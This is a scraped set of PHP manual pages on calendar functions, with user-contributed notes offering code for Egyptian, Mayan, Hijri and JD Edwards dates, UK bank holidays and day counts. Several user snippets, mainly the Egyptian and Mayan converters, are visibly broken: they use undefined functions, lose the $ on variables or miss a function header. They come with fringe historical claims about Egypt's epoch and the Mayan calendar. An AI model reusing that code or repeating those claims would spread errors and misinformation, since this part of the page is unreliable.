This is the egyptian calendar which was the first 365 day calendar on the planet it has no leap year which makes it a little inaccurate but you can work on your own implementation of this code when you like, this is another implementation of the roun floating point code which is a universal code for generating date codec's you can make practically all calendars with this code the $pweight is based on my research on carbon date stamping etc of when egypt epoch or PPO was made, some people argue a few thousand years while other can date egypts epoch being around 30000 years ago!! This is on the basis of tidal marking on statues and momuments when the are was covered in water after construction from sea level rising.

<?php

print_r(EgyptCalendar(time(),0));

function EgyptianCalendar($unix_time, $gmt,
                 $poffset = '1970-02-26 7:45 PM',
                 $pweight = '-9777600.22222222223',
                 $defiency='nonedeficient',
                 $timeset= array("hours" => 24,
                                 "minutes" => 60,
                                 "seconds" => 60))
{
// Code Segment 1 â€“ Calculate Floating Point
$tme = $unix_time;

if ($gmt>0){$gmt=-$gmt;} else {$gmt=abs($gmt);}

$ptime = strtotime($poffset)+(60*60*gmt);
$weight = $pweight+(1*gmt);

$egypt_xa = ($tme)/(24*60*60);
$egypt_ya = $ptime/(24*60*60);
$egypt = (($egypt_xa -$egypt_ya) -
         $weight)+(microtime/999999);

// Code Segment 2 â€“ Set month day arrays
$nonedeficient = array(
   "seq1" => array(30,30,30,30,30,30,30,30,30,30,30,30,5));

$monthnames = array(
   "seq1" => array('Thoth','Phaophi','Athyr','Choiak',
   'Tybi', 'Mecheir','Phamenoth','Pharmuthi','Pachon',
   'Payni','Epiphi','Mesore','epagomenai'));

$monthusage = isset($defiency) ? ${$defiency} : $deficient;

// Code Segment 3 â€“ Calculate month number, day number
foreach($monthusage as $key => $item){
    $i++;
    foreach($item as $numdays){
        $ttl_num=$ttl_num+$numdays;
        $ttl_num_months++;
    }
}

$revolutionsperyear = $ttl_num / $i;
$numyears = egyptd((floor($egypt) / $revolutionsperyear),0);
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($egypt) -
       ceil($revolutionsperyear*($numyears+1)));

while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($egypt>0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-$tt;
                        $month = $avg_num_month-$t;
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}

//$numyears = abs($numyears);

$timer = substr($egypt, strpos($egypt,'.')+1,
    strlen($egypt)-strpos($egypt,'.')-1);
$egypt_out= $numyears.'/'.$month.'/'.$daynum.' '.$day.'.'.
    floor(intval(substr($timer,0,2))/100*$timeset['hours']).':'.
    floor(intval(substr($timer,2,2))/100*$timeset['minutes']).':'.
    floor(intval(substr($timer,4,2))/100*$timeset['seconds']).'.'.
    substr($timer,6,strlen($timer)-6);
$egypt_obj = array('year'=>$numyears,
    'month'=>$month,
    'mname' => $monthnames[$sequence][$month-1],
    'day'=>$daynum,
    'jtl'=>$jtl,
    'day_count'=>$day,
    'hours'=>floor(intval(substr($timer,0,2))/100
             *$timeset['hours']),
    'minute'=>floor(intval(substr($timer,2,2))/100
              *$timeset['minutes']),
    'seconds'=>floor(intval(substr($timer,4,2))/100
               *$timeset['seconds']),
    'microtime'=>substr($timer,6,strlen($timer)-6),
                 'strout'=>$egypt_out);

return $egypt_obj;
}

?>

btw in my previous post of the Mayan Tikal calendar the top part of the function was chopped off in my code cut and paste that is the line for the function which looks like, the top 3 line will need to be replace with:

<?php

print_r(MayanTikalCalendar(time(),0));

function MayanTikalCalendar($unix_time, $gmt,

?>
simon at chronolabs dot org dot au 08-Nov-2007 02:27
Well this is the second part, well more the second calendar of Maya the Tikal there is two of them one for long count, one for general date seeding, this is using an implementation of floating point time (roun).

<?php

$maya = MayanTikalCalendar(time(),0);

print_r($maya);

                 $poffset = '2012-12-21 8:24 PM',
                 $pweight = '-1872000.22222222223',
                 $defiency='nonedeficient',
                 $timeset= array("hours" => 24,
                                 "minutes" => 60,
                                 "seconds" => 60))
{
// Code Segment 1 â€“ Calculate Floating Point
$tme = $unix_time;
if ($gmt>0){ $gmt=-$gmt; } else { $gmt=abs($gmt); }

$ptime = strtotime($poffset)+(60*60*gmt);
$maya_xa = ($tme)/(24*60*60);
$maya_ya = $ptime/(24*60*60);
$maya = (($maya_xa -$maya_ya) - $pweight)+(microtime/999999);

// Code Segment 2 â€“ Set month day arrays
$nonedeficient = array(
"seq1" => array(20,20,20,20,20,20,20,20,20,
                20,20,20,20,20,20,20,20,20,5));

$monthnames = array("seq1" => array(
 'Pop', 'Uo', 'Zip', 'Zot\'z', 'Tzec', 'Xul',
 'Yaxkin', 'Mol', 'Ch\'en', 'Yax', 'Zac', 'Ceh',
 'Mac', 'Kankin', 'Muan', 'Pax', 'Kayab',
 'Cumku', 'Uayeb'));
$daynames = array("seq1" => array(
 'Imix', 'Ik', 'Akbal', 'Kan', 'Chicchan',
 'Cimi','Manik', 'Lamat', 'Muluc', 'Oc',
 'Chuen', 'Eb', 'Ben', 'Ix', 'Men',
 'Cib', 'Caban', 'Etz\'nab', 'Cauac', 'Ahau'));
$monthusage = isset($defiency) ? ${$defiency} : $deficient;

// Code Segment 3 â€“ Calculate month number, day numbers etc
foreach($monthusage as $key => $item){
    $i++;
    foreach($item as $numdays){
        $ttl_num=$ttl_num+$numdays;
        $ttl_num_months++;
    }
}

$revolutionsperyear = $ttl_num / $i;
$numyears = (round((floor($maya) / $revolutionsperyear),0));
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($maya) -
       ceil($revolutionsperyear*($numyears+1)));

while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($maya>0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-$tt;
                        $month = $avg_num_month-$t;
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}

$timer = substr($maya, strpos($maya,'.')+1,
         strlen($maya)-strpos($maya,'.')-1);
$maya_out= $numyears.'/'.$month.'/'.$daynum.' '.$day.'.'.
  floor(intval(substr($timer,0,2))/100*$timeset['hours']).':'.
  floor(intval(substr($timer,2,2))/100*$timeset['minutes']).':'.
  floor(intval(substr($timer,4,2))/100*$timeset['seconds']).'.'.
  substr($timer,6,strlen($timer)-6);

$maya_obj = array(
  'longcount'=>MayanLongCount($tme),'year'=>abs($numyears),
  'month'=>$month, 'mname' => $monthnames[$sequence][$month-1],
  'day'=>$daynum, 'dayname'=>$daynames[$sequence][$daynum-1],
  'day'=>$daynum, 'jtl'=>$jtl, 'day_count'=>$day,
  'hours'=>     floor(intval(substr($timer,0,2))/100
             *$timeset['hours']),
  'minute'=> floor(intval(substr($timer,2,2))/100
             *$timeset['minutes']),
  'seconds'=>floor(intval(substr($timer,4,2))/100
             *$timeset['seconds']),
  'microtime'=>substr($timer,6,strlen($timer)-6),
  'strout'=>$maya_out);

return $maya_obj;
}

?>
simon at chronolabs dot org dot au 08-Nov-2007 07:00
This will return the mayan long count calendar which cycle reaches 13.0.0.0.0 in 2012, I have had to compress the changemaya function for this code library so if you want to space it out your more than welcome. It works with unix time. To call the routine use the following syntax. The mayan calendar is a day count that is around 5000 years old, it tracks our cestial position in the galaxy

<?php

echo MayanLongCount(time());

function MayanLongCount($tme){

    $config = array('ppo' => array(13,0,0,0,0),
                    'epoch' => strtotime('2012-12-21'));

    $diff=(($tme-$config['epoch'])/(60*60*24));
    $ppo = changemaya($config['ppo'],ceil($diff));

    return $ppo[0].'.'.$ppo[1].'.'.$ppo[2].'.'.$ppo[3].'.'.$ppo[4];
}

function changemaya($ppo,$diff){
if ($diff>0) { $amount=1; } else { $amount=-1; }
for ($sh=1;$sh<abs($diff);$sh++){ if ($ppo[4]+$amount>20){
if ($ppo[3]+$amount>20){ if ($ppo[2]+$amount>20){
if ($ppo[1]+$amount>20){ if ($ppo[0]+$amount>20){
$ppo[0]=0; $ppo[1]=0; $ppo[2]=0; $ppo[3]=0; $ppo[4]=0;
} else { $ppo[1]=0; $ppo[0]=$ppo[0]+$amount;}
} else { $ppo[2]=0; $ppo[1]=$ppo[1]+$amount;    }
} else {$ppo[3]=0; $ppo[2]=$ppo[2]+$amount; }
} else { $ppo[4]=0; $ppo[3]=$ppo[3]+$amount; }
} elseif ($ppo[4]+$amount<0){ if ($ppo[3]+$amount<0){
if ($ppo[2]+$amount<0){    if ($ppo[1]+$amount<0){
if ($ppo[0]+$amount<0){    $ppo[0]=20;    $ppo[1]=0;
$ppo[2]=0; $ppo[3]=0; $ppo[4]=0;
} else { $ppo[1]=20; $ppo[0]=$ppo[0]+$amount; }
} else { $ppo[2]=20; $ppo[1]=$ppo[1]+$amount; }
} else { $ppo[3]=20; $ppo[2]=$ppo[2]+$amount; }
} else { $ppo[4]=20; $ppo[3]=$ppo[3]+$amount; }
} else { $ppo[4]=$ppo[4]+$amount;}}
    return $ppo;
}

?>

Thanks!!
schotm29 at hotmail dot com 07-Sep-2007 03:00
fRay Fergusons light reimplimentation doesn't work all of the time, because of the inaccuracy in the calculations (it is quite accurate but not accurate enough for a live web app)
david dot scourfield at llynfi dot co dot uk 17-Aug-2007 12:13
I created this function a while ago and needed it again recently, so had to trawl through some old files to find it. Thought I'd post it here in case anyone else finds it useful.

<?php

/*
 *    Function to calculate which days are British bank holidays (England & Wales) for a given year.
 *
 *    Created by David Scourfield, 07 August 2006, and released into the public domain.
 *    Anybody may use and/or modify this code.
 *
 *    USAGE:
 *
 *    array calculateBankHolidays(int $yr)
 *
 *    ARGUMENTS
 *
 *    $yr = 4 digit numeric representation of the year (eg 1997).
 *
 *    RETURN VALUE
 *
 *    Returns an array of strings where each string is a date of a bank holiday in the format "yyyy-mm-dd".
 *
 *    See example below
 *
 */

function calculateBankHolidays($yr) {

    $bankHols = Array();

    // New year's:
    switch ( date("w", strtotime("$yr-01-01 12:00:00")) ) {
        case 6:
            $bankHols[] = "$yr-01-03";
            break;
        case 0:
            $bankHols[] = "$yr-01-02";
            break;
        default:
            $bankHols[] = "$yr-01-01";
    }

    // Good friday:
    $bankHols[] = date("Y-m-d", strtotime( "+".(easter_days($yr) - 2)." days", strtotime("$yr-03-21 12:00:00") ));

    // Easter Monday:
    $bankHols[] = date("Y-m-d", strtotime( "+".(easter_days($yr) + 1)." days", strtotime("$yr-03-21 12:00:00") ));

    // May Day:
    if ($yr == 1995) {
        $bankHols[] = "1995-05-08"; // VE day 50th anniversary year exception
    } else {
        switch (date("w", strtotime("$yr-05-01 12:00:00"))) {
            case 0:
                $bankHols[] = "$yr-05-02";
                break;
            case 1:
                $bankHols[] = "$yr-05-01";
                break;
            case 2:
                $bankHols[] = "$yr-05-07";
                break;
            case 3:
                $bankHols[] = "$yr-05-06";
                break;
            case 4:
                $bankHols[] = "$yr-05-05";
                break;
            case 5:
                $bankHols[] = "$yr-05-04";
                break;
            case 6:
                $bankHols[] = "$yr-05-03";
                break;
        }
    }

    // Whitsun:
    if ($yr == 2002) { // exception year
        $bankHols[] = "2002-06-03";
        $bankHols[] = "2002-06-04";
    } else {
        switch (date("w", strtotime("$yr-05-31 12:00:00"))) {
            case 0:
                $bankHols[] = "$yr-05-25";
                break;
            case 1:
                $bankHols[] = "$yr-05-31";
                break;
            case 2:
                $bankHols[] = "$yr-05-30";
                break;
            case 3:
                $bankHols[] = "$yr-05-29";
                break;
            case 4:
                $bankHols[] = "$yr-05-28";
                break;
            case 5:
                $bankHols[] = "$yr-05-27";
                break;
            case 6:
                $bankHols[] = "$yr-05-26";
                break;
        }
    }

    // Summer Bank Holiday:
    switch (date("w", strtotime("$yr-08-31 12:00:00"))) {
        case 0:
            $bankHols[] = "$yr-08-25";
            break;
        case 1:
            $bankHols[] = "$yr-08-31";
            break;
        case 2:
            $bankHols[] = "$yr-08-30";
            break;
        case 3:
            $bankHols[] = "$yr-08-29";
            break;
        case 4:
            $bankHols[] = "$yr-08-28";
            break;
        case 5:
            $bankHols[] = "$yr-08-27";
            break;
        case 6:
            $bankHols[] = "$yr-08-26";
            break;
    }

    // Christmas:
    switch ( date("w", strtotime("$yr-12-25 12:00:00")) ) {
        case 5:
            $bankHols[] = "$yr-12-25";
            $bankHols[] = "$yr-12-28";
            break;
        case 6:
            $bankHols[] = "$yr-12-27";
            $bankHols[] = "$yr-12-28";
            break;
        case 0:
            $bankHols[] = "$yr-12-26";
            $bankHols[] = "$yr-12-27";
            break;
        default:
            $bankHols[] = "$yr-12-25";
            $bankHols[] = "$yr-12-26";
    }

    // Millenium eve
    if ($yr == 1999) {
        $bankHols[] = "1999-12-31";
    }

    return $bankHols;

}

/*
 *    EXAMPLE:
 *
 */

header("Content-type: text/plain");

$bankHolsThisYear = calculateBankHolidays(2007);

print_r($bankHolsThisYear);

?>

Will output this result:

Array
(
    [0] => 2007-01-01
    [1] => 2007-04-06
    [2] => 2007-04-09
    [3] => 2007-05-07
    [4] => 2007-05-28
    [5] => 2007-08-27
    [6] => 2007-12-25
    [7] => 2007-12-26
)
amichauer at gmx dot de 28-Jun-2005 06:46
<?php

class HijriCalendar
{
    function monthName($i) // $i = 1..12
    {
        static $month  = array(
            "Möxärräm", "Safar", "Rabig-äl-Äwwäl", "Rabig-äl-Axír",
            "Cömäd-äl-Äwwäl", "Cömäd-äl-Axír", "Racäb", "Þäðbän",
            "Ramazan", "Þäwäl", "Zö-äl-Qäðdä", "Zö-äl-Xiccä"
        );
        return $month[$i-1];
    }

    function GregorianToHijri($time = null)
    {
        if ($time === null) $time = time();
        $m = date('m', $time);
        $d = date('d', $time);
        $y = date('Y', $time);

        return HijriCalendar::JDToHijri(
            cal_to_jd(CAL_GREGORIAN, $m, $d, $y));
    }

    function HijriToGregorian($m, $d, $y)
    {
        return jd_to_cal(CAL_GREGORIAN,
            HijriCalendar::HijriToJD($m, $d, $y));
    }

    # Julian Day Count To Hijri
    function JDToHijri($jd)
    {
        $jd = $jd - 1948440 + 10632;
        $n  = (int)(($jd - 1) / 10631);
        $jd = $jd - 10631 * $n + 354;
        $j  = ((int)((10985 - $jd) / 5316)) *
            ((int)(50 * $jd / 17719)) +
            ((int)($jd / 5670)) *
            ((int)(43 * $jd / 15238));
        $jd = $jd - ((int)((30 - $j) / 15)) *
            ((int)((17719 * $j) / 50)) -
            ((int)($j / 16)) *
            ((int)((15238 * $j) / 43)) + 29;
        $m  = (int)(24 * $jd / 709);
        $d  = $jd - (int)(709 * $m / 24);
        $y  = 30*$n + $j - 30;

        return array($m, $d, $y);
    }

    # Hijri To Julian Day Count
    function HijriToJD($m, $d, $y)
    {
        return (int)((11 * $y + 3) / 30) +
            354 * $y + 30 * $m -
            (int)(($m - 1) / 2) + $d + 1948440 - 385;
    }
};

$hijri = HijriCalendar::GregorianToHijri( time() );
echo $hijri[1].'. '.HijriCalendar::monthName($hijri[0]).' '.$hijri[2];

?>
jthome at fcgov dot com 02-Oct-2003 08:38
Had a similar problem as curlee, except I needed to create a JDE_ERP date.  [format is CYYDDD]

<?php

function jde_date_create($month, $day, $year){
    /*
    *  NOTE: $month and $day CANNOT have leading zeroes,
    *        $year must be'YYYY' format
    */
    $jde_year_prefix = substr($year, 0, 1) - 1;
    $jde_year_suffix = substr($year, -2);

    //note that valid years for mktime are 1902-2037
    $timestamp = mktime(0,0,0,$month, $day, $year);
    $baseline_timestamp = mktime(0,0,0,1,0,$year);

    $day_count = round(($timestamp - $baseline_timestamp)/86400);
    $day_count_padded = str_pad($day_count,3,"0",STR_PAD_LEFT);

    return ($jde_year_prefix . $jde_year_suffix . $day_count_padded);

}

echo jde_date_create(6,25,2000);// will return '103176'

?>

--
Jim
curlee at mindspring dot com 29-Aug-2003 05:55
I solved a problem with Julian dates that are used in the JD Edwards ERP package (running on AS/400).  The Julian format for this system is as follows:  CYYDDD

Where C is 0 for 1900 and 1 for 2000
DDD is the day of the year count

I used the mktime built-in php function to convert dates to the normal DD/MM/YYYY format.  This function will convert dates that are between 1970 and 2038 (limitation of unix timestamps and the mktime function)

The $jde_date var needs to be a 6 len STRING.... if you use a numeric var type it will drop the leading 0 for any date that represents 1900.... this will botch the substr functions and thus make the whole thing wrong.

<?php
function jde_date_conv($jde_date)
{

$ct = substr($jde_date,0,1);
$yr = substr($jde_date,1,2);
$dy = substr($jde_date,3,3);

if($ct == 0) $yr_pfx = 19;
if($ct == 1) $yr_pfx = 20;

$tlt_yr = $yr_pfx.$yr;

$base_time = mktime(0,0,0,1,0,$tlt_yr);

$unix_time = ($dy * 86400) + $base_time;

return date("m/d/Y" , $unix_time);
}
?>


Return the number of days in a month for a given year and calendar

  • « Calendar Functions
  • cal_from_jd »
  • PHP Manual
  • Calendar Functions
  • Return the number of days in a month for a given year and calendar

cal_days_in_month

(PHP 4 >= 4.1.0, PHP 5)

cal_days_in_month — Return the number of days in a month for a given year and calendar

Description

int cal_days_in_month ( int $calendar , int $month , int $year )

This function will return the number of days in the month of year for the specified calendar.

Parameters

calendar

Calendar to use for calculation

month

Month in the selected calendar

year

Year in the selected calendar

Return Values

The length in days of the selected month in the given calendar

Examples

Example #1 cal_days_in_month() example

<?php
$num = cal_days_in_month(CAL_GREGORIAN, 8, 2003); // 31
echo "There was $num days in August 2003";
?>

User Contributed Notes

p2409 at hotmail dot com 28-Oct-2013 02:09
If you have a DateTime variable you want to find the number of days in the month for, you can simply use $dt->format and the format specifiers 'm' and 'Y' to get the month digit, and year to use with cal_days_in_month eg.

function DaysInMonth($dt) {
    $m =  $dt->format('m');
    $y =  $dt->format('Y');
    $numDays = cal_days_in_month (CAL_GREGORIAN, $m,$y);
    return $numDays;
}
asifsajjad at gmail dot com 29-Jul-2013 12:05
count specific days in a month like how many satureday in a monday or how many mondays in a month
<?php

function my_cal_days_in_month($year,$month,$calday="1"){ //0 Sunday, 1 Monday, 2 Tue , 3 Wed , 4. Thu , 5. Fri , 6. Sat
    // calculate total number of occurance in this month
    $num = cal_days_in_month(CAL_GREGORIAN, $month, $year); // days in month
    $dayofweek = date( "w", mktime(0, 0, 0, $month, 1, $year));
    $adddays=0;
    if($calday > $dayofweek )
            $adddays=1 + $calday - $dayofweek;
    else if($calday < $dayofweek )
            $adddays=1 + 7 + ($calday - $dayofweek );

    $remainingdays=$num-$adddays;
    $leavesnum=1+intval($remainingdays / 7);
    return     $leavesnum;
}

$year=2013;
$month=7;
$day=6;
echo my_cal_days_in_month($year,$month,$day);
Anonymous 12-Nov-2011 12:51
You can also use the date() function to get the number of days in a month. You can also pass the 2nd param strtotime() and specify a specific date:

date('t');
adam.pippin at ohmedia.ca 15-Jun-2011 12:06
Forgot to compile the calendar plugin in... Wrote a workaround while I waited for it to compile. It only supports the Gregorian calendar.

<?php
if (!function_exists('cal_days_in_month'))
{
    function cal_days_in_month($calendar, $month, $year)
    {
        return date('t', mktime(0, 0, 0, $month, 1, $year));
    }
}
if (!defined('CAL_GREGORIAN'))
    define('CAL_GREGORIAN', 1);
?>
deva dot ananth at gmail dot com 10-Mar-2011 02:44
Function  for calculation number of days until birthday:

<?php
function daysLeftForBirthday($devabirthdate)
{
    /* input birthday date format -> Y-m-d */
    list($y, $m, $d) = explode('-',$devabirthdate);
    $nowdate = mktime(0, 0, 0, date("m"), date("d"), date("Y"));
    $nextbirthday = mktime(0,0,0,$m, $d, date("Y"));

    if ($nextbirthday<$nowdate)
        $nextbirthday=$nextbirthday+(60*60*24*365);

    $daycount=intval(($nextbirthday-$nowdate)/(60*60*24));

    return $daycount;
}
?>
brian at b5media dot com 05-Dec-2007 01:55
Remember if you just want the days in the current month, use the date function:
$days = date("t");
geko45pj at yahoo dot com 19-Jul-2007 08:28
<?php
# PHP Calendar (version 2.3), written by Keith Devens

function generate_calendar($year, $month, $days = array(), $day_name_length = 3, $month_href = NULL, $first_day = 0, $pn = array()){
    $first_of_month = gmmktime(0,0,0,$month,1,$year);

    #remember that mktime will automatically correct if invalid dates are entered
    # for instance, mktime(0,0,0,12,32,1997) will be the date for Jan 1, 1998
    # this provides a built in "rounding" feature to generate_calendar()

    $day_names = array(); #generate all the day names according to the current locale
    for($n=0,$t=(3+$first_day)*86400; $n<7; $n++,$t+=86400) #January 4, 1970 was a Sunday
        $day_names[$n] = ucfirst(gmstrftime('%A',$t)); #%A means full textual day name

    list($month, $year, $month_name, $weekday) = explode(',',gmstrftime('%m,%Y,%B,%w',$first_of_month));
    $weekday = ($weekday + 7 - $first_day) % 7; #adjust for $first_day
    $title   = htmlentities(ucfirst($month_name)).'&nbsp;'.$year;  #note that some locales don't capitalize month and day names

    #Begin calendar. Uses a real <caption>. See http://diveintomark.org/archives/2002/07/03
    @list($p, $pl) = each($pn); @list($n, $nl) = each($pn); #previous and next links, if applicable
    if($p) $p = '<span class="calendar-prev">'.($pl ? '<a href="'.htmlspecialchars($pl).'">'.$p.'</a>' : $p).'</span>&nbsp;';
    if($n) $n = '&nbsp;<span class="calendar-next">'.($nl ? '<a href="'.htmlspecialchars($nl).'">'.$n.'</a>' : $n).'</span>';
    $calendar = '<table class="calendar">'."\n".
        '<caption class="calendar-month">'.$p.($month_href ? '<a href="'.htmlspecialchars($month_href).'">'.$title.'</a>' : $title).$n."</caption>\n<tr>";

    if($day_name_length){ #if the day names should be shown ($day_name_length > 0)
        #if day_name_length is >3, the full name of the day will be printed
        foreach($day_names as $d)
            $calendar .= '<th abbr="'.htmlentities($d).'">'.htmlentities($day_name_length < 4 ? substr($d,0,$day_name_length) : $d).'</th>';
        $calendar .= "</tr>\n<tr>";
    }

    if($weekday > 0) $calendar .= '<td colspan="'.$weekday.'">&nbsp;</td>'; #initial 'empty' days
    for($day=1,$days_in_month=gmdate('t',$first_of_month); $day<=$days_in_month; $day++,$weekday++){
        if($weekday == 7){
            $weekday   = 0; #start a new week
            $calendar .= "</tr>\n<tr>";
        }
        if(isset($days[$day]) and is_array($days[$day])){
            @list($link, $classes, $content) = $days[$day];
            if(is_null($content))  $content  = $day;
            $calendar .= '<td'.($classes ? ' class="'.htmlspecialchars($classes).'">' : '>').
                ($link ? '<a href="'.htmlspecialchars($link).'">'.$content.'</a>' : $content).'</td>';
        }
        else $calendar .= "<td>$day</td>";
    }
    if($weekday != 7) $calendar .= '<td colspan="'.(7-$weekday).'">&nbsp;</td>'; #remaining "empty" days

    return $calendar."</tr>\n</table>\n";
}
echo generate_calendar(2010, 12, 16,3,NULL,0,15, $first_of_month, $day_names, $day_names[$n]);
#echo generate_calendar($year, $month, $days,$day_name_length,$month_href,$first_day,$pn);
?>
paul (at) bughunt3r.com 18-Apr-2004 05:31
Here is a nifty function to return the date for easter for ranges beyond 2037 or before 1970.

<?php
    function str_easter_date ($year) {
        $days = easter_days ($year);
        $days_in_march = cal_days_in_month (CAL_GREGORIAN, 3, $year);
        if (($days + 21) < $days_in_march) {
            $month = "March";
            $date = $days + 21;
        } else {
            $month = "April";
            $date = ($days + 21) - $days_in_march;
        }

        return "$month $date, $year";
    }
?>
jeffbeall at comcast dot net 14-Apr-2004 07:04
This will work great in future dates but will give the wrong answer for dates before 1550 (approx) when leap year was introduced and the calendar lost a year or two.
Sorry now to be more specific it has been a while sine I had to account for those later dates and had to take that into account but just a heads up for others to watch out.
dbindel at austin dot rr dot com 02-Jan-2004 06:06
Here's a one-line function I just wrote to find the numbers of days in a month that doesn't depend on any other functions.

The reason I made this is because I just found out I forgot to compile PHP with support for calendars, and a class I'm writing for my website's open source section was broken. So rather than recompiling PHP (which I will get around to tomorrow I guess), I just wrote this function which should work just as well, and will always work without the requirement of PHP's calendar extension or any other PHP functions for that matter.

I learned the days of the month using the old knuckle & inbetween knuckle method, so that should explain the mod 7 part. :)

<?php
/*
 * days_in_month($month, $year)
 * Returns the number of days in a given month and year, taking into account leap years.
 *
 * $month: numeric month (integers 1-12)
 * $year: numeric year (any integer)
 *
 * Prec: $month is an integer between 1 and 12, inclusive, and $year is an integer.
 * Post: none
 */
// corrected by ben at sparkyb dot net
function days_in_month($month, $year)
{
// calculate number of days in a month
return $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);
}
?>

Enjoy,
David Bindel


Converts from Julian Day Count to a supported calendar

  • « cal_days_in_month
  • cal_info »
  • PHP Manual
  • Calendar Functions
  • Converts from Julian Day Count to a supported calendar

cal_from_jd

(PHP 4 >= 4.1.0, PHP 5)

cal_from_jd — Converts from Julian Day Count to a supported calendar

Description

array cal_from_jd ( int $jd , int $calendar )

cal_from_jd() converts the Julian day given in jd into a date of the specified calendar. Supported calendar values are CAL_GREGORIAN, CAL_JULIAN, CAL_JEWISH and CAL_FRENCH.

Parameters

jd

Julian day as integer

calendar

Calendar to convert to

Return Values

Returns an array containing calendar information like month, day, year, day of week, abbreviated and full names of weekday and month and the date in string form "month/day/year".

Examples

Example #1 cal_from_jd() example

<?php
$today = unixtojd(mktime(0, 0, 0, 8, 16, 2003));
print_r(cal_from_jd($today, CAL_GREGORIAN));
?>

The above example will output:

Array
(
    [date] => 8/16/2003
    [month] => 8
    [day] => 16
    [year] => 2003
    [dow] => 6
    [abbrevdayname] => Sat
    [dayname] => Saturday
    [abbrevmonth] => Aug
    [monthname] => August
)

See Also

  • cal_to_jd() - Converts from a supported calendar to Julian Day Count
  • jdtofrench() - Converts a Julian Day Count to the French Republican Calendar
  • jdtogregorian() - Converts Julian Day Count to Gregorian date
  • jdtojewish() - Converts a Julian day count to a Jewish calendar date
  • jdtojulian() - Converts a Julian Day Count to a Julian Calendar Date
  • jdtounix() - Convert Julian Day to Unix timestamp

User Contributed Notes

There are no user contributed notes for this page.


Returns information about a particular calendar

  • « cal_from_jd
  • cal_to_jd »
  • PHP Manual
  • Calendar Functions
  • Returns information about a particular calendar

cal_info

(PHP 4 >= 4.1.0, PHP 5)

cal_info — Returns information about a particular calendar

Description

array cal_info ([ int $calendar = -1 ] )

cal_info() returns information on the specified calendar.

Calendar information is returned as an array containing the elements calname, calsymbol, month, abbrevmonth and maxdaysinmonth. The names of the different calendars which can be used as calendar are as follows:

  • 0 or CAL_GREGORIAN - Gregorian Calendar
  • 1 or CAL_JULIAN - Julian Calendar
  • 2 or CAL_JEWISH - Jewish Calendar
  • 3 or CAL_FRENCH - French Revolutionary Calendar

If no calendar is specified information on all supported calendars is returned as an array.

Parameters

calendar

Calendar to return information for. If no calendar is specified information about all calendars is returned.

Return Values

Examples

Example #1 cal_info() example

<?php
$info = cal_info(0);
print_r($info);
?>

The above example will output:

Array
(
    [months] => Array
        (
            [1] => January
            [2] => February
            [3] => March
            [4] => April
            [5] => May
            [6] => June
            [7] => July
            [8] => August
            [9] => September
            [10] => October
            [11] => November
            [12] => December
        )

    [abbrevmonths] => Array
        (
            [1] => Jan
            [2] => Feb
            [3] => Mar
            [4] => Apr
            [5] => May
            [6] => Jun
            [7] => Jul
            [8] => Aug
            [9] => Sep
            [10] => Oct
            [11] => Nov
            [12] => Dec
        )

    [maxdaysinmonth] => 31
    [calname] => Gregorian
    [calsymbol] => CAL_GREGORIAN
)

User Contributed Notes

oliver DOT pliquett @mediagear DOT de 27-Nov-2002 02:44
A little example code to show the array structure:

<?php
$aCalendars = array( CAL_GREGORIAN, CAL_JULIAN, CALL_JEWISH, CAL_FRENCH );

foreach ( $aCalendars as $cal ) {

     $aCalInfo = cal_info( $cal );

     echo "cal_info( " . $aCalInfo['calsymbol'] . " ) = ";
     print_r( $aCalInfo );
     echo "\n\n";
}
?>

will return this:

cal_info( CAL_GREGORIAN ) = Array
(
    [months] => Array
        (
            [1] => January
            [2] => February
            [3] => March
            [4] => April
            [5] => May
            [6] => June
            [7] => July
            [8] => August
            [9] => September
            [10] => October
            [11] => November
            [12] => December
        )

    [abbrevmonths] => Array
        (
            [1] => Jan
            [2] => Feb
            [3] => Mar
            [4] => Apr
            [5] => May
            [6] => Jun
            [7] => Jul
            [8] => Aug
            [9] => Sep
            [10] => Oct
            [11] => Nov
            [12] => Dec
        )

    [maxdaysinmonth] => 31
    [calname] => Gregorian
    [calsymbol] => CAL_GREGORIAN
)

cal_info( CAL_JULIAN ) = Array
(
    [months] => Array
        (
            [1] => January
            [2] => February
            [3] => March
            [4] => April
            [5] => May
            [6] => June
            [7] => July
            [8] => August
            [9] => September
            [10] => October
            [11] => November
            [12] => December
        )

    [abbrevmonths] => Array
        (
            [1] => Jan
            [2] => Feb
            [3] => Mar
            [4] => Apr
            [5] => May
            [6] => Jun
            [7] => Jul
            [8] => Aug
            [9] => Sep
            [10] => Oct
            [11] => Nov
            [12] => Dec
        )

    [maxdaysinmonth] => 31
    [calname] => Julian
    [calsymbol] => CAL_JULIAN
)

cal_info( CAL_JEWISH ) = Array
(
    [months] => Array
        (
            [1] => Tishri
            [2] => Heshvan
            [3] => Kislev
            [4] => Tevet
            [5] => Shevat
            [6] => AdarI
            [7] => AdarII
            [8] => Nisan
            [9] => Iyyar
            [10] => Sivan
            [11] => Tammuz
            [12] => Av
            [13] => Elul
        )

    [abbrevmonths] => Array
        (
            [1] => Tishri
            [2] => Heshvan
            [3] => Kislev
            [4] => Tevet
            [5] => Shevat
            [6] => AdarI
            [7] => AdarII
            [8] => Nisan
            [9] => Iyyar
            [10] => Sivan
            [11] => Tammuz
            [12] => Av
            [13] => Elul
        )

    [maxdaysinmonth] => 30
    [calname] => Jewish
    [calsymbol] => CAL_JEWISH
)

cal_info( CAL_FRENCH ) = Array
(
    [months] => Array
        (
            [1] => Vendemiaire
            [2] => Brumaire
            [3] => Frimaire
